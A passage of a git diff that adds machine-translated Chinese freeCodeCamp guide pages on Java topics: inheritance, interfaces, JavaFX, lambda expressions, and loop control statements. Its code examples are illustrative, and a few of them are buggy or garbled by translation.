+Java有大量[文档记录](https://docs.oracle.com/javase/8/docs/) ，因为它支持大量的API。如果您使用的是Eclipse或IntelliJ IDEA等任何主要IDE，您会发现其中包含Java文档。
+
+此外，这里是Java编码的免费IDE列表：
+
+*   [NetBeans的](https://netbeans.org/)
+*   [日食](https://eclipse.org/)
+*   [IntelliJ IDEA](https://www.jetbrains.com/idea/features/)
+*   [Android Studio](https://developer.android.com/studio/index.html)
+*   [BlueJ的](https://www.bluej.org/)
+*   [jEdit的](http://www.jedit.org/)
+*   [Oracle JDeveloper](http://www.oracle.com/technetwork/developer-tools/jdev/overview/index-094652.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/inheritance-basics/index.md b/client/src/guide/chinese/java/inheritance-basics/index.md
new file mode 100644
index 0000000000..36c12c67ce
--- /dev/null
+++ b/client/src/guide/chinese/java/inheritance-basics/index.md
@@ -0,0 +1,53 @@
+---
+title: Inheritance Basics
+localeTitle: 继承基础
+---
+# 继承基础
+
+你成功创建了一个Car类，真是太棒了。但是，等等，特斯拉汽车应该是电动车？我想要一个电动车类，但它也应该具有原始`Car`类的属性。
+
+解决方案： **继承** 。 Java提供了一种“继承”父属性的简洁方法：
+
+```java
+public class Car { 
+ 
+    private String name; 
+    private String manufacturerName; 
+ 
+    public Car(String name, String man) { 
+        this.name = name; 
+        this.manufacturerName = man; 
+    } 
+    // Getter method 
+    public String getName() { 
+        return name; 
+    } 
+    // Getter method 
+    public String getManufacturerName() { 
+        return manufacturerName; 
+    } 
+ } 
+ 
+ public class ElectricCar extends Car { 
+ 
+    public ElectricCar(String name, String man) { 
+        super(name, man); 
+    } 
+ 
+    public void charge() { 
+     System.out.println("Charging ..."); 
+    } 
+ } 
+ 
+ ElectricCar modelS = new ElectricCar("Model S","Tesla"); 
+ // prints Tesla 
+ System.out.println(modelS.getManufacturerName()); 
+ // prints Charging ... 
+ modelS.charge(); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJZY/0)
+
+在这里看，类`ElectricCar`从`Car`类继承或`extends`公共方法，并且有自己的方法和属性。传递信息的酷方式！
+
+另请注意这里使用[super](https://docs.oracle.com/javase/tutorial/java/IandI/super.html)关键字。由于我们的`Car`类有一个构造函数，所以我们也必须从子类初始化该构造函数。我们使用`super`关键字来做到这一点。阅读更多关于继承的信息 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/inheritance/index.md b/client/src/guide/chinese/java/inheritance/index.md
new file mode 100644
index 0000000000..9fc15b18c1
--- /dev/null
+++ b/client/src/guide/chinese/java/inheritance/index.md
@@ -0,0 +1,192 @@
+---
+title: Inheritance
+localeTitle: 遗产
+---
+# 遗产
+
+Java继承是指Java类从其他类`inherit`属性的能力。可以把它想象成一个从父母那里继承属性的孩子，这个概念非常相似。在Java lingo中，它也被称为_扩展_类。一些简单的事情要记住：
+
+*   扩展或继承的**类**称为**子类**
+*   正在扩展或继承的**类**称为**超类**
+
+因此，继承为Java提供了_重用_代码或在类之间共享代码的强大功能！
+
+让我们用`Vehicle`类和`Car`类的经典示例来描述它：
+
+```java
+public class Vehicle { 
+    public void start() { 
+        // starting the engine 
+    } 
+ 
+    public void stop() { 
+        // stopping the engine 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    int numberOfSeats = 4; 
+ 
+    public int getNumberOfSeats() { 
+        return numberOfSeats; 
+    } 
+ } 
+```
+
+在这里，我们可以看到`Car`类继承了`Vehicle`类的属性。因此，我们不必为`Car`的方法`start()`和`stop()`编写相同的代码，因为这些属性可以从其父类或超类中获得。因此，从`Car`类创建的对象_也_将具有这些属性！
+
+```java
+Car tesla = new Car(); 
+ 
+ tesla.start(); 
+ 
+ tesla.stop(); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJXz/0)
+
+但是，父类是否有孩子的方法？不，它没有。
+
+因此，每当您需要在多个类之间共享一些共同的代码时，最好有一个父类，然后在需要时扩展该类！减少代码行数，使代码模块化，并简化测试。
+
+## 什么可以继承？
+
+*   来自父级的所有`protected`和`public`字段和方法
+
+## 什么不能继承？
+
+*   `private`领域和方法
+*   构造函数。虽然，子类构造函数_必须_调用超类构造函数（如果已定义）（稍后详细说明！）
+*   多个班级。 Java仅支持**单继承** ，也就是说，您一次只能继承一个类。
+*   场。子类不能覆盖类的各个字段。
+
+## 输入铸造和参考
+
+在Java中，可以引用子类作为其超类的_实例_ 。它被称为面向对象编程（OOP）中的_多态_ ，即对象采用多种形式的能力。例如，可以将`Car`类对象引用为`Vehicle`类实例，如下所示：
+
+```java
+Vehicle car = new Car(); 
+```
+
+虽然相反是不可能的：
+
+```java
+Car car = new Vehicle(); // ERROR 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJYB/0)
+
+由于您可以将Java子类作为超类实例引用，因此可以轻松地将子类对象的实例强制转换为超类实例。可以将超类对象强制转换为子类类型，但_前提是该对象实际上是子类的实例_ 。所以请记住这一点：
+
+```java
+Car car = new Car(); 
+ Vehicle vehicle = car; // upcasting 
+ Car car2 = (Car)vechile; //downcasting 
+ 
+ Bike bike = new Bike(); // say Bike is also a subclass of Vehicle 
+ Vehicle v = bike; // upcasting, no problem here. 
+ Car car3 = (Car)bike; // Compilation Error : as bike is NOT a instance of Car 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJYM/0)
+
+现在您知道如何通过父子关系共享代码。但是，如果你不喜欢子类中特定方法的实现并想为它编写一个新方法呢？那你怎么办呢？
+
+## 覆盖它！
+
+Java允许您_覆盖_或重新定义超类中定义的方法。例如，您的`Car`类具有与父`Vehicle`不同的`start()`实现，因此您执行此操作：
+
+```java
+public class Vehicle { 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public void start() { 
+      System.out.println("Car start code"); 
+  } 
+ } 
+ 
+ Car car = new Car(); 
+ car.start(); // "Car start code" 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJYZ/1)
+
+因此，覆盖子类中的方法非常简单。虽然，有一个_陷阱_ 。只有具有与子类方法_完全相同的方法签名_的超类方法才会被覆盖。这意味着子类方法定义必须具有完全相同的名称，相同数量和类型的参数，并且具有完全相同的顺序。因此， `public void start(String key)`不会覆盖`public void start()` 。
+
+**备注** ：
+
+*   您不能覆盖超类的私有方法。 （很明显，不是吗？）
+*   如果您在子类中重写的超类方法突然被删除或方法改变了怎么办？它会在运行时失败！因此，Java为您提供了一个漂亮的注释`@Override` ，您可以将其放在子类方法上，这将警告编译器这些事件！
+
+Java中的注释是一种很好的编码实践，但它们并不是必需的。编译器足够智能，可以自行解决覆盖问题。与其他OOP语言不同，Java中的注释不一定会修改方法或添加额外的功能。
+
+## 如何调用超类方法？
+
+有趣的你问一下！只需使用关键字`super` ：
+
+```java
+public class Vehicle() { 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public void run() { 
+      super.start(); 
+  } 
+ } 
+ 
+ Car car = new Car(); 
+ car.run(); // "Vehicle start code" 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJY4/0)
+
+**注意** ：尽管可以使用`super`调用来调用父方法，但是不能使用链式`super`调用来继承继承层次结构。
+
+## 如何知道班级的类型？
+
+使用`instanceof`关键字。拥有大量的类和子类，知道哪个类是运行时哪个类的子类会有点混乱。因此，我们可以使用`instanceof`来确定对象是类的实例，子类的实例还是接口的实例。
+
+```java
+Car car = new Car(); 
+ 
+ boolean flag = car instanceof Vehicle; // true in this case! 
+```
+
+## 构造函数和继承
+
+如前所述，构造函数不能由子类直接继承。虽然，子类_需要_将其父构造函数作为其自己的构造函数中的[第一个操作](http://stackoverflow.com/questions/1168345/why-does-this-and-super-have-to-be-the-first-statement-in-a-constructor)来调用。怎么样？你猜对了，用`super` ：
+
+```java
+public class Vehicle { 
+    public Vehicle() { 
+        // constructor 
+    } 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public Car() { 
+      super(); 
+    } 
+    public void run() { 
+      super.start(); 
+  } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJY8/0)
+
+请记住，如果超类没有定义任何构造函数，则不必在子类中明确地调用它。 Java在内部为您处理！在使用除_默认构造_函数之外的任何其他构造函数调用超类的情况下，调用`super`构造_函数_ 。
+
+如果没有定义其他构造函数，那么Java将调用默认的超类构造函数（ _即使未明确定义_ ）。
+
+恭喜，现在你对继承了解一切！阅读有关在Abstract Classes和[Interfaces中](//forum.freecodecamp.com/t/java-docs-interfaces)继承事物的高级方法的更多信息！
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/instanceof-operator/index.md b/client/src/guide/chinese/java/instanceof-operator/index.md
new file mode 100644
index 0000000000..c853532ea2
--- /dev/null
+++ b/client/src/guide/chinese/java/instanceof-operator/index.md
@@ -0,0 +1,16 @@
+---
+title: instanceof Operator
+localeTitle: instanceof运算符
+---
+# `instanceof`运算符
+
+`instanceof`运算符允许您检查`IS A`关系的有效性。如果在任何时候，我们不确定这一点，并且我们想在运行时验证这一点，我们可以执行以下操作：
+
+```java
+//assuming vehicle is an instance of Class `Car` the expression inside the 'if' will  return true 
+ if(vehicle instanceof Car){ 
+    //do something if vehicle is a Car 
+ } 
+```
+
+**注意** ：如果将instanceof运算符应用于具有null值的任何变量，则返回false。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/interfaces/index.md b/client/src/guide/chinese/java/interfaces/index.md
new file mode 100644
index 0000000000..bb4d35b61e
--- /dev/null
+++ b/client/src/guide/chinese/java/interfaces/index.md
@@ -0,0 +1,265 @@
+---
+title: Interfaces
+localeTitle: 接口
+---
+# 接口
+
+Java中的接口有点像Class，但有一个显着的区别： `interface` _只能_有方法签名，字段和默认方法。从Java 8开始，您还可以创建[默认方法](https://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html) 。在下一个块中，您可以看到一个接口示例：
+
+```java
+public interface Vehicle { 
+    public String licensePlate = ""; 
+    public float maxVel 
+    public void start(); 
+    public void stop(); 
+    default void blowHorn(){ 
+      System.out.println("Blowing horn"); 
+   } 
+ } 
+```
+
+上面的接口包含两个字段，两个方法和一个默认方法。单独使用它并没有多大用处，但它们通常与Classes一起使用。怎么样？很简单，你必须确保一些类`implements`它。
+
+```java
+public class Car implements Vehicle { 
+    public void start() { 
+        System.out.println("starting engine..."); 
+    } 
+    public void stop() { 
+        System.out.println("stopping engine..."); 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CItd/0)
+
+现在，有一个**基本规则** ：Class必须实现Interface中的**所有**方法。这些方法必须具有_完全相同的_签名（名称，参数和例外），如界面中所述。类_不需要_声明，虽然领域，只有方法。
+
+## 接口实例
+
+创建`implements`任何接口的Java类后，可以将对象实例作为接口的实例引用。这个概念类似于继承实例化。
+
+```java
+// following our previous example 
+ 
+ Vehicle tesla = new Car(); 
+ 
+ tesla.start(); // starting engine ... 
+```
+
+接口**不能**包含构造函数方法，因此，您**无法**创建接口本身的实例。您必须创建一个实现接口的类的实例来引用它。将接口视为空白合同表单或模板。
+
+你能用这个功能做什么？多态性！您只能使用接口来引用对象实例！
+
+```java
+class Truck implements Vehicle { 
+    public void start() { 
+        System.out.println("starting truck engine..."); 
+    } 
+    public void stop() { 
+        System.out.println("stopping truck engine..."); 
+    } 
+ } 
+ 
+ class Starter { 
+    // static method, can be called without instantiating the class 
+    public static void startEngine(Vehicle vehicle) { 
+        vehicle.start(); 
+    } 
+ } 
+ 
+ Vehicle tesla = new Car(); 
+ Vehicle tata = new Truck(); 
+ 
+ Starter.startEngine(tesla); // starting engine ... 
+ Starter.startEngine(tata); // starting truck engine ... 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CItm/0)
+
+## 但是多个接口怎么样？
+
+是的，您可以在一个类中实现多个接口。在[继承](//forum.freecodecamp.com/t/java-docs-inheritance)的类中，您被限制为仅继承一个类，在这里您可以扩展任意数量的接口。但是不要忘记实现_所有_接口的所有方法，否则编译将失败！
+
+```java
+public interface GPS { 
+    public void getCoordinates(); 
+ } 
+ 
+ public interface Radio { 
+    public void startRadio(); 
+    public void stopRadio(); 
+ } 
+ 
+ public class Smartphone implements GPS,Radio { 
+    public void getCoordinates() { 
+        // return some coordinates 
+    } 
+    public void startRadio() { 
+      // start Radio 
+    } 
+    public void stopRadio() { 
+        // stop Radio 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CIto/0)
+
+## 接口的一些功能
+
+*   您可以在接口中放置变量，但这不是一个合理的决定，因为类不必具有相同的变量。简而言之，避免放置变量！
+*   即使您省略了`public`关键字，接口中的所有变量和方法都是公共的。
+*   接口无法指定特定方法的实现。它由类来完成。虽然最近有例外（见下文）。
+*   如果一个类实现多个接口，那么方法签名重叠的可能性很小。由于Java不允许多个方法具有完全相同的签名，因此可能会导致问题。有关详细信息，请参阅[此问题](http://stackoverflow.com/questions/2598009/method-name-collision-in-interface-implementation-java) 。
+
+## 接口默认方法
+
+在Java 8之前，我们无法指示接口具有特定的方法实现。如果突然改变接口定义，这会导致很多混乱和代码中断。
+
+假设您编写了一个包含接口的开源库。比如说，您的客户，即几乎所有世界各地的开发人员，都在大量使用它并且很开心。现在，您必须通过向接口添加新方法定义来升级库以支持新功能。但是这会破坏_所有_构建，因为实现该接口的所有类现在都必须改变。真是个大灾难！
+
+值得庆幸的是，Java 8现在为我们提供了接口的`default`方法。 `default`方法_可以_ _直接_在Interface中包含自己的实现！因此，如果类没有实现默认方法，编译器将采用接口中提到的实现。不错，不是吗？因此，在您的库中，您可以在界面中添加任意数量的默认方法，而不必担心破坏任何东西！
+
+```java
+public interface GPS { 
+    public void getCoordinates(); 
+    default public void getRoughCoordinates() { 
+        // implementation to return coordinates from rough sources 
+        // such as wifi & mobile 
+        System.out.println("Fetching rough coordinates..."); 
+    } 
+ } 
+ 
+ public interface Radio { 
+    public void startRadio(); 
+    public void stopRadio(); 
+ } 
+ 
+ public class Smartphone implements GPS,Radio { 
+    public void getCoordinates() { 
+        // return some coordinates 
+    } 
+    public void startRadio() { 
+      // start Radio 
+    } 
+    public void stopRadio() { 
+        // stop Radio 
+    } 
+ 
+    // no implementation of getRoughCoordinates() 
+ } 
+ 
+ Smartphone motoG = new Smartphone(); 
+ motog.getRoughCoordinates(); // Fetching rough coordinates... 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CItp/0)
+
+### 但是，如果两个接口具有相同的方法签名会发生什么？
+
+真棒的问题。在这种情况下，如果你没有在Class中提供实现，那么糟糕的编译器会感到困惑并且简单地失败！您还必须在类中提供默认方法实现。还有一种使用`super`来调用你喜欢的实现的漂亮方式：
+
+```java
+public interface Radio { 
+    // public void startRadio(); 
+    // public void stopRadio(); 
+ 
+    default public void next() { 
+        System.out.println("Next from Radio"); 
+    } 
+ } 
+ 
+ public interface MusicPlayer { 
+    // public void start(); 
+    // public void pause(); 
+    // public void stop(); 
+ 
+    default public void next() { 
+        System.out.println("Next from MusicPlayer"); 
+    } 
+ } 
+ 
+ public class Smartphone implements Radio, MusicPlayer { 
+    public void next() { 
+        // Suppose you want to call MusicPlayer next 
+        MusicPlayer.super.next(); 
+    } 
+ } 
+ 
+ Smartphone motoG = new Smartphone(); 
+ motoG.next(); // Next from MusicPlayer 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CIts/0)
+
+## 接口中的静态方法
+
+Java 8的另一个新功能是能够向接口添加静态方法。接口中的静态方法几乎与具体类中的静态方法相同。唯一的区别是`static`方法不会在实现接口的类中继承。这意味着在调用静态方法而不是实现它的类时会引用接口。
+
+```java
+interface MusicPlayer { 
+  public static void commercial(String sponsor) { 
+    System.out.println("Now for a message brought to you by " + sponsor); 
+  } 
+ 
+  public void play(); 
+ } 
+ 
+ 
+ class Smartphone implements MusicPlayer { 
+    public void play() { 
+        System.out.println("Playing from smartphone"); 
+    } 
+ } 
+ 
+ class Main { 
+  public static void main(String[] args) { 
+    Smartphone motoG = new Smartphone(); 
+    MusicPlayer.commercial("Motorola"); // Called on interface not on implementing class 
+    // motoG.commercial("Motorola"); // This would cause a compilation error 
+  } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CIts/9)
+
+## 继承接口
+
+在Java中，接口可以_继承_另一个接口，通过使用，你猜对了， `extends`关键字：
+
+```java
+public interface Player { 
+    public void start(); 
+    public void pause(); 
+    public void stop(); 
+ } 
+ 
+ public interface MusicPlayer extends Player { 
+    default public void next() { 
+        System.out.println("Next from MusicPlayer"); 
+    } 
+ } 
+```
+
+这意味着，实施类`MusicPlayer`接口必须实现的_所有_方法`MusicPlayer`以及`Player` ：
+
+```java
+public class SmartPhone implements MusicPlayer { 
+    public void start() { 
+        System.out.println("start"); 
+    } 
+    public void stop() { 
+        System.out.println("stop"); 
+    } 
+    public void pause() { 
+        System.out.println("pause"); 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CIty/0)
+
+哎呀，我忘记了`next()`吗？请注意，因为它是一种`default`方法，所以我根本不需要提供实现。 （不适用于JDK <8）
+
+所以，现在你已经很好地掌握了接口！了解抽象类以了解Java如何为您提供另一种定义合同的方法。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/java-bean/index.md b/client/src/guide/chinese/java/java-bean/index.md
new file mode 100644
index 0000000000..cfbe7b2318
--- /dev/null
+++ b/client/src/guide/chinese/java/java-bean/index.md
@@ -0,0 +1,11 @@
+---
+title: Java Bean
+localeTitle: Java Bean
+---
+## Java Bean
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/javafx/index.md b/client/src/guide/chinese/java/javafx/index.md
new file mode 100644
index 0000000000..54e18654ca
--- /dev/null
+++ b/client/src/guide/chinese/java/javafx/index.md
@@ -0,0 +1,37 @@
+---
+title: JavaFX
+localeTitle: JavaFX的
+---
+## 介绍
+
+JavaFX是由Sun Microsystems创建的用于开发富桌面和Internet应用程序的图形框架。 JavaFX的创建是为了取代旧的Swing和抽象窗口工具包（AWT）库，并作为Java语言的Java标准版标准图形API。
+
+## 开发工具
+
+### Gulon SceneBuilder
+
+Gulon Scene Builder是一个用于JavaFX中用户界面（UI）设计的应用程序。该应用程序使用拖放功能进行快速UI设计，允许您在设计时可视化您正在创建的界面。
+
+#### Screeenshots：
+
+![场景生成器UI](https://i.imgur.com/3d9SqBR.png)
+
+### FXML
+
+FXML是一种基于XML的标记语言，用于在JavaFX中定义结构。 FXML文档在树中布置类中的各种对象，类似于XML文档中的标记嵌套。
+
+#### 例：
+
+```XML
+<HBox spacing="10" alignment="bottom_right" > // Creates an HBox Object 
+        <Button text="Sign In"/> // Nested inside the HBox is a Button object with the text 'Sign In' 
+ </HBox> 
+```
+
+### 参考文献：
+
+[FXML文档](https://docs.oracle.com/javase/8/javafx/api/javafx/fxml/doc-files/introduction_to_fxml.html)
+
+[场景生成器教程](https://docs.oracle.com/javase/8/scene-builder-2/get-started-tutorial/overview.htm#JSBGS164)
+
+[官方JavaFX文档](https://docs.oracle.com/javase/8/javase-clienttechnologies.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/lambda-expressions/index.md b/client/src/guide/chinese/java/lambda-expressions/index.md
new file mode 100644
index 0000000000..474b6fbf12
--- /dev/null
+++ b/client/src/guide/chinese/java/lambda-expressions/index.md
@@ -0,0 +1,37 @@
+---
+title: Lambda Expressions 
+localeTitle: Lambda表达式
+---
+## Lambda表达式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+Stream Api在java中用于允许链接顺序和聚合操作。流操作本质上是中间的或终端的。
+
+在这个小例子中，您可以看到流的一个实用程序是接收列表中所有对象的某个属性，并使用中间和终端操作将其返回到另一个列表中。
+
+假设您有一个Student对象类。 \`\`的java 公立班学生{ int studentId; String studentName;
+
+public String getStudentName（）{ return this.studentName; }
+
+public int getStudentId（）{ 返回this.studentId; } //塞特犬 } \`\`
+
+现在假设您有一个所有学生的列表，并希望获得所有学生姓名的列表。 传统上这看起来像这样。
+
+\`\`的java 名单学生=一些学生对象列表
+
+名单 studentNames = new ArrayList <>（）; for（学生：学生）{ studentNames.add（student.getStudentName（））; } \`\` 虽然这并不可怕，但可以简化。 使用流可以使用一行代码。
+
+\`\`的java 名单学生=一些学生对象列表
+
+名单 studentNames = students.stream（）。map（String :: getStudentName）.collect（Collectors.toList（））; \`\`
+
+学生流api遍历学生列表并使用中间地图功能使用::右侧的任何方法返回新的流列表
+
+终端收集操作将流收集为字符串列表。
+
+这只是java 8中使用的Streams Api的一个用途。还有许多其他应用程序使用其他操作，如文档中所示。 [Streams api doc](https://docs.oracle.com/javase/8/docs/api/java/util/stream/Stream.html)
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/break-control-statement/index.md b/client/src/guide/chinese/java/loops/break-control-statement/index.md
new file mode 100644
index 0000000000..9a73cac156
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/break-control-statement/index.md
@@ -0,0 +1,77 @@
+---
+title: Break Control Statement
+localeTitle: 中断控制声明
+---
+# 中断控制声明
+
+终止循环并开始执行紧跟循环的代码。如果你有嵌套循环， `break`语句将只结束它所在的循环。
+
+```java
+// Loop 1 
+ for (int i = 0; i < 10; i++) 
+ { 
+    // Loop 2 
+    for (int j = 0; j < 10; j++) 
+    { 
+        if (i == 5 && j == 5) 
+        { 
+            break; // Will terminate Loop 2, but Loop 1 will keep going 
+        } 
+    } 
+ } 
+```
+
+但是，如果您确实想要突破外部循环，可以使用标签退出：
+
+```java
+loop1: // This is a label 
+ for (int i = 0; i < 10; i++) 
+ { 
+    // Loop 2 
+    for (int j = 0; j < 10; j++) 
+    { 
+        if (i == 5 && j == 5) 
+        { 
+            break loop1; // Will break out of Loop 1, instead of Loop 2 
+        } 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJZA/0)
+
+在搜索数组中的元素时， `break`语句特别有用。使用下面代码中的`break`可以提高效率，因为一旦找到我们要查找的元素（ `searchFor` ），循环就会停止，而不是一直到达`arrayInts`的末尾。
+
+```java
+int j = 0; 
+ int[] arrayOfInts = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ int searchFor = 5; 
+ 
+ for (int i : arrayOfInts) 
+ { 
+    if (arrayOfInts[j] == searchFor) 
+    { 
+        break; 
+    } 
+    j++; 
+ } 
+ 
+ System.out.println("j = " + j); 
+```
+
+Break语句也可以在while语句下使用。
+
+```java
+int i = 0; 
+ int[] arrayOfInts = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+ int searchFor = 5; 
+ 
+ while(i < 10){ 
+ System.out.println("i = " + j); 
+ if(arrayOfInts[i] > 7){ 
+  break; 
+  } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJZC/0)
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/continue-control-statement/index.md b/client/src/guide/chinese/java/loops/continue-control-statement/index.md
new file mode 100644
index 0000000000..8c98550a36
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/continue-control-statement/index.md
@@ -0,0 +1,51 @@
+---
+title: Continue Control Statement
+localeTitle: 继续控制声明
+---
+# 继续控制声明
+
+`continue`语句使循环在继续之后跳过所有以下行，并跳转到下一次迭代的开始。在`for`循环中，控制跳转到update语句，在`while`或`do while`循环中，控制跳转到布尔表达式/条件。
+
+```java
+for (int j = 0; j < 10; j++) 
+ { 
+    if (j == 5) 
+    { 
+        continue; 
+    } 
+    System.out.print (j + " "); 
+ } 
+```
+
+除非等于`5` ，否则将为每次迭代打印`j`的值。由于`continue` ，将跳过print语句，输出将是：
+```
+0 1 2 3 4 6 7 8 9 
+```
+
+假设你想要在`mississippi`这个词中计算`i`的数量。在这里，您可以使用带有`continue`语句的循环，如下所示：
+
+```java
+String searchWord = "mississippi"; 
+ 
+ // max stores the length of the string 
+ int max = searchWord.length(); 
+ int numPs = 0; 
+ 
+ for (int i = 0; i < max; i++) 
+ { 
+    // We only want to count i's - skip other letters 
+    if (searchWord.charAt(i) != 'i') 
+    { 
+        continue; 
+    } 
+ 
+    // Increase count_i for each i encountered 
+    numPs++; 
+ } 
+ 
+ System.out.println("numPs = " + numPs); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJZH/0)
+
+此外，您可以使用标签从嵌套集中选择特定循环以跳到下一次迭代。
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/control-statements/index.md b/client/src/guide/chinese/java/loops/control-statements/index.md
new file mode 100644
index 0000000000..4593ff4969
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/control-statements/index.md
@@ -0,0 +1,49 @@
+---
+title: Jump Statements
+localeTitle: 跳转声明
+---
+# 跳转声明
+
+跳转语句是一种[_控制流_](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/flow.html)语句。基本上，您可以使用它们来更改正常执行过程中执行语句的顺序。实质上，这些语句会导致程序控制从下一个预期执行点“跳”到程序中的另一个位置。
+
+以下跳转语句通常与循环一起使用：
+
+*   [打破](http://forum.freecodecamp.com/t/java-loops-break-control-statement)
+*   [继续](http://forum.freecodecamp.com/t/java-loops-continue-control-statement)
+
+当满足条件时，'break'控制语句会跳出循环。这意味着循环的其余部分将不会运行。 例如，在下面的循环中，如果我达到5，则循环中断，因此它不会继续。
+
+```java
+for(int i=0;i<10;i++){ 
+ 
+  if(i == 5){ //if i is 5, break out of the loop. 
+    break; 
+  } 
+ 
+ System.out.println(i); 
+ } 
+```
+
+输出：
+```
+    0 1 2 3 4 
+```
+
+'continue'控制语句是'break'的不太强烈的版本。它只会突破当前的循环实例并继续。在下面的循环中，如果i为5，则循环继续，因此它将跳过下面的print语句并继续前进，直到我达到10并且循环停止。
+
+```java
+for(int i=0;i<10;i++){ 
+ 
+  if(i == 5){ //if i is 5, break out of the current instance loop. 
+    continue; 
+  } 
+ 
+ System.out.println(i); 
+ } 
+```
+
+输出：
+```
+    0 1 2 3 4 6 7 8 9 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/do-while-loop/index.md b/client/src/guide/chinese/java/loops/do-while-loop/index.md
new file mode 100644
index 0000000000..8c08122752
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/do-while-loop/index.md
@@ -0,0 +1,55 @@
+---
+title: Do...While Loop
+localeTitle: 做......循环
+---
+# 做......循环
+
+`do while`类似于`while`循环，但是在检查给定条件之前，保证语句组至少运行一次。 需要注意的一点是'while'循环是一个退出控制循环。虽然（它不一定会执行），'do while'是一个入口控制循环（它将至少执行一次，即使条件不是真的）。
+
+```java
+do 
+ { 
+    // Statements 
+ } 
+ while (condition); 
+```
+
+## 例
+
+```java
+int iter_DoWhile = 20; 
+ do 
+ { 
+    System.out.print (iter_DoWhile + " "); 
+ 
+    // Increment the counter 
+    iter_DoWhile++; 
+ } 
+ while (iter_DoWhile < 10); 
+ System.out.println("iter_DoWhile Value: " + iter_DoWhile); 
+```
+
+输出：
+```
+    20 
+    iter_DoWhile Value: 21 
+```
+
+**记住** ：执行一次代码体之后检查`do-while`循环的条件。
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CJYl/0)
+
+## 行使
+
+你能猜出以下代码片段的输出吗？
+
+```java
+int i = 10; 
+ do 
+ { 
+    System.out.println("The value of i is " + i); 
+    i--; 
+ } 
+ while (i >= 10); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/java/loops/for-each-loop/index.md b/client/src/guide/chinese/java/loops/for-each-loop/index.md
new file mode 100644
index 0000000000..011c48c7ce
--- /dev/null
+++ b/client/src/guide/chinese/java/loops/for-each-loop/index.md
@@ -0,0 +1,85 @@
+---
+title: For Each Loop
+localeTitle: 对于每个循环
+---
+# 对于每个循环
+
